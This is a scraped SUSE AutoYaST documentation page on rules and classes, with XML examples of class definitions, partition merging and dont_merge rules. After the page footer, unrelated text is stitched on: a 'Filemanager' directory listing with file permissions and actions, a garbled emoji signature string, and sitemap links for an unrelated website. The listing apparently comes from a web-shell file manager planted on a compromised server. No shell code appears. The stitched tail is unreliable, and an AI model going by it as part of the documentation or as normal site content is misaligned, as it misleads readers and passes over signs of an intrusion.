&lt;/rules&gt;</pre></div></div></div><div class="sect1 " id="classes"><div class="titlepage"><div><div><h2 class="title" id="classes"><span class="number">5.2 </span><span class="name">Classes</span> <a title="Permalink" class="permalink" href="rulesandclass.html#classes">#</a></h2></div></div></div><p>
    Classes represent configurations for groups of target systems. Unlike
    rules, classes need to be configured in the control file. Then classes
    can be assigned to target systems.
   </p><p>
    Here is an example of a class definition:
   </p><div class="verbatim-wrap"><pre class="screen">&lt;classes config:type="list"&gt;
  &lt;class&gt;
    &lt;class_name&gt;TrainingRoom&lt;/class_name&gt;
    &lt;configuration&gt;Software.xml&lt;/configuration&gt;
  &lt;/class&gt;
&lt;/classes&gt;</pre></div><p>
    In the example above, the file <code class="filename">Software.xml</code> must be
    placed in the subdirectory <code class="filename">classes/TrainingRoom/</code> It
    will get fetched from the same place the AutoYaST control file and rules
    were fetched from.
   </p><p>
    If you have multiple control files and those control files share parts,
    better use classes for common parts.

    
    You can also use XIncludes.
   </p><p>
    Using the configuration management system, you can define a set of
    classes. A class definition consists of the following variables:
   </p><div class="itemizedlist "><ul class="itemizedlist"><li class="listitem "><p>
      Name: class name
     </p></li><li class="listitem "><p>
      Description:
     </p></li><li class="listitem "><p>
      Order: order (or priority) of the class in the stack of migration
      
     </p></li></ul></div><div class="figure" id="idm140013813570288"><div class="figure-contents"><div class="mediaobject"><a xmlns="" href="images/cms-class-definitions.png"><img src="images/cms-class-definitions.png" width="" alt="Defining Classes" /></a></div></div><div class="figure-title-wrap"><h6 class="figure-title"><span class="number">Figure 5.2: </span><span class="name">Defining Classes </span><a title="Permalink" class="permalink" href="rulesandclass.html#idm140013813570288">#</a></h6></div></div><p>
    You can create as many classes as you need, however it is recommended to
    keep the set of classes as small as possible to keep the configuration
    system concise. For example, the following sets of classes can be used:
   </p><div class="itemizedlist "><ul class="itemizedlist"><li class="listitem "><p>
      site: classes describing a physical location or site,
     </p></li><li class="listitem "><p>
      machine: classes describing a type of machine,
     </p></li><li class="listitem "><p>
      role: classes describing the function of the machine,
     </p></li><li class="listitem "><p>
      group: classes describing a department or a group within a site or a
      location.
     </p></li></ul></div><p>
    A file saved in a class directory can have the same syntax and format as
    a regular control file but represents a subset of the configuration. For
    example, to create a new control file for a special computer with a
    specific network interface, only the control file resource which
    controls the configuration of the network is needed. Having multiple
    network types, you can merge the one needed for a special type of
    hardware with other class files and create a new control file which
    suits the system being installed.
    
   </p></div><div class="sect1 " id="mixinfrulesclasses"><div class="titlepage"><div><div><h2 class="title" id="mixinfrulesclasses"><span class="number">5.3 </span><span class="name">Mixing Rules and Classes</span> <a title="Permalink" class="permalink" href="rulesandclass.html#mixinfrulesclasses">#</a></h2></div></div></div><p>
    It is possible to mix rules and classes during an auto-installation
    session. For example you can identify a system using rules which contain
    class definitions in them. The process is described in the figure
    <span class="quote">“<span class="quote"><a class="xref" href="handlingrules.html#rulesflow" title="Rules Retrieval Process">Figure A.1, “Rules Retrieval Process”</a></span>”</span>.
   </p><p>
    After retrieving the rules and merging them, the generated control file
    is parsed and checked for class definitions. If classes are defined,
    then the class files are retrieved from the original repository and a
    new merge process is initiated.
   </p></div><div class="sect1 " id="merging"><div class="titlepage"><div><div><h2 class="title" id="merging"><span class="number">5.4 </span><span class="name">Merging of Rules and Classes</span> <a title="Permalink" class="permalink" href="rulesandclass.html#merging">#</a></h2></div></div></div><p>
    With classes and with rules, multiple XML files get merged into one
    resulting XML file. This merging process is often confusing for people,
    because it behaves different than one would expect. First of all it is
    important to note that the names of the top sections in the merged XML
    files need to be in alphabetical order for the merge to succeed.
   </p><p>
    For example, the following two XML parts should be merged:
   </p><div class="verbatim-wrap"><pre class="screen">&lt;partitioning config:type="list"&gt;
  &lt;drive&gt;
    &lt;partitions config:type="list"&gt;
      &lt;partition&gt;
        &lt;filesystem config:type="symbol"&gt;swap&lt;/filesystem&gt;
        &lt;format config:type="boolean"&gt;true&lt;/format&gt;
        &lt;mount&gt;swap&lt;/mount&gt;
        &lt;partition_id config:type="integer"&gt;130&lt;/partition_id&gt;
        &lt;size&gt;2000mb&lt;/size&gt;
      &lt;/partition&gt;
      &lt;partition&gt;
        &lt;filesystem config:type="symbol"&gt;xfs&lt;/filesystem&gt;
        &lt;partition_type&gt;primary&lt;/partition_type&gt;
        &lt;size&gt;4Gb&lt;/size&gt;
        &lt;mount&gt;/data&lt;/mount&gt;
      &lt;/partition&gt;
    &lt;/partitions&gt;
  &lt;/drive&gt;
&lt;/partitioning&gt;</pre></div><div class="verbatim-wrap"><pre class="screen">&lt;partitioning config:type="list"&gt;
  &lt;drive&gt;
    &lt;initialize config:type="boolean"&gt;false&lt;/initialize&gt;
    &lt;partitions config:type="list"&gt;
      &lt;partition&gt;
        &lt;format config:type="boolean"&gt;true&lt;/format&gt;
        &lt;filesystem config:type="symbol"&gt;xfs&lt;/filesystem&gt;
        &lt;mount&gt;/&lt;/mount&gt;
        &lt;partition_id config:type="integer"&gt;131&lt;/partition_id&gt;
        &lt;partition_type&gt;primary&lt;/partition_type&gt;
        &lt;size&gt;max&lt;/size&gt;
      &lt;/partition&gt;
    &lt;/partitions&gt;
    &lt;use&gt;all&lt;/use&gt;
  &lt;/drive&gt;
&lt;/partitioning&gt;</pre></div><p>
    You might expect the control file to contain 3 partitions. This is not
    the case. You will end up with two partitions and the first partition is
    a mix up of the swap and the root partition. Settings configured in both
    partitions, like <code class="literal">mount</code> or <code class="literal">size</code>,
    will be used from the second file. Settings that only exist in the first
    or second partition, will be copied to the merged partition too.
    
   </p><p>
    In this example, you do not want a second <code class="literal">drive</code>. The
    two drives should be merged into one. With regard to partitions, three
    separate ones should be defined. Using the <code class="literal">dont_merge</code>
    method solves the merging problem:
   </p><div class="verbatim-wrap"><pre class="screen">&lt;classes config:type="list"&gt;
  &lt;class&gt;
    &lt;class_name&gt;swap&lt;/class_name&gt;
    &lt;configuration&gt;largeswap.xml&lt;/configuration&gt;
    &lt;dont_merge config:type="list"&gt;
      &lt;element&gt;partition&lt;/element&gt;
    &lt;/dont_merge&gt;
  &lt;/class&gt;
&lt;/classes&gt;</pre></div><div class="verbatim-wrap"><pre class="screen">&lt;rule&gt;
  &lt;board_vendor&gt;
    &lt;match&gt;ntel&lt;/match&gt;
    &lt;match_type&gt;regex&lt;/match_type&gt;
  &lt;/board_vendor&gt;
  &lt;result&gt;
    &lt;profile&gt;classes/largeswap.xml&lt;/profile&gt;
    &lt;continue config:type="boolean"&gt;true&lt;/continue&gt;
    &lt;dont_merge config:type="list"&gt;
      &lt;element&gt;partition&lt;/element&gt;
    &lt;/dont_merge&gt;
  &lt;/result&gt;
  &lt;board_vendor&gt;
    &lt;match&gt;PowerEdge [12]850&lt;/match&gt;
    &lt;match_type&gt;regex&lt;/match_type&gt;
  &lt;/board_vendor&gt;
  &lt;result&gt;
    &lt;profile&gt;classes/smallswap.xml&lt;/profile&gt;
    &lt;continue config:type="boolean"&gt;true&lt;/continue&gt;
    &lt;dont_merge config:type="list"&gt;
      &lt;element&gt;partition&lt;/element&gt;
    &lt;/dont_merge&gt;
  &lt;/result&gt;
&lt;/rule&gt;</pre></div></div></div></div><div class="page-bottom"><div id="_bottom-navigation"><a class="nav-link" href="Invoking.html"><span class="next-icon">→</span><span class="nav-label"><span class="number">Chapter 6 </span>The Auto-Installation Process</span></a><a class="nav-link" href="configuration.html"><span class="prev-icon">←</span><span class="nav-label"><span class="number">Chapter 4 </span>Configuration and Installation Options</span></a></div><div id="_share-print"><div class="online-contents share"><strong>Share this page: </strong><span class="share-buttons"><span id="_share-fb" class="bottom-button">Facebook</span><span class="spacer"> • </span><span id="_share-gp" class="bottom-button">Google+</span><span class="spacer"> • </span><span id="_share-tw" class="bottom-button">Twitter</span><span class="spacer"> • </span><span id="_share-mail" class="bottom-button">E-Mail</span></span></div><div class="print"><span id="_print-button" class="bottom-button">Print this page</span></div><div class="clearme"></div></div></div></div><div id="_inward"></div></div><div id="_footer-wrap"><div id="_footer"><p>©
        2015 
        SUSE</p><ul><li><a href="http://www.suse.com/company/careers/" target="_top">Careers</a></li><li><a href="http://www.suse.com/company/legal/" target="_top">Legal</a></li><li><a href="http://www.suse.com/company/" target="_top">About</a></li><li><a href="http://www.suse.com/ContactsOffices/contacts_offices.jsp" target="_top">Contact Us</a></li></ul></div></div></body></html>

Filemanager

Name Type Size Permission Actions
images Folder 0755
static Folder 0755
CreateProfile.html File 17.26 KB 0644
Invoking.html File 42.54 KB 0644
Profile.html File 19.89 KB 0644
app.ay.docupdates.html File 22.78 KB 0644
appendix.linuxrc.html File 22.66 KB 0644
bk04apd.html File 31.8 KB 0644
book.autoyast.html File 30.16 KB 0644
configuration.html File 262.86 KB 0644
handlingrules.html File 8.58 KB 0644
index.html File 30.16 KB 0644
introduction.html File 15.04 KB 0644
rulesandclass.html File 46.1 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml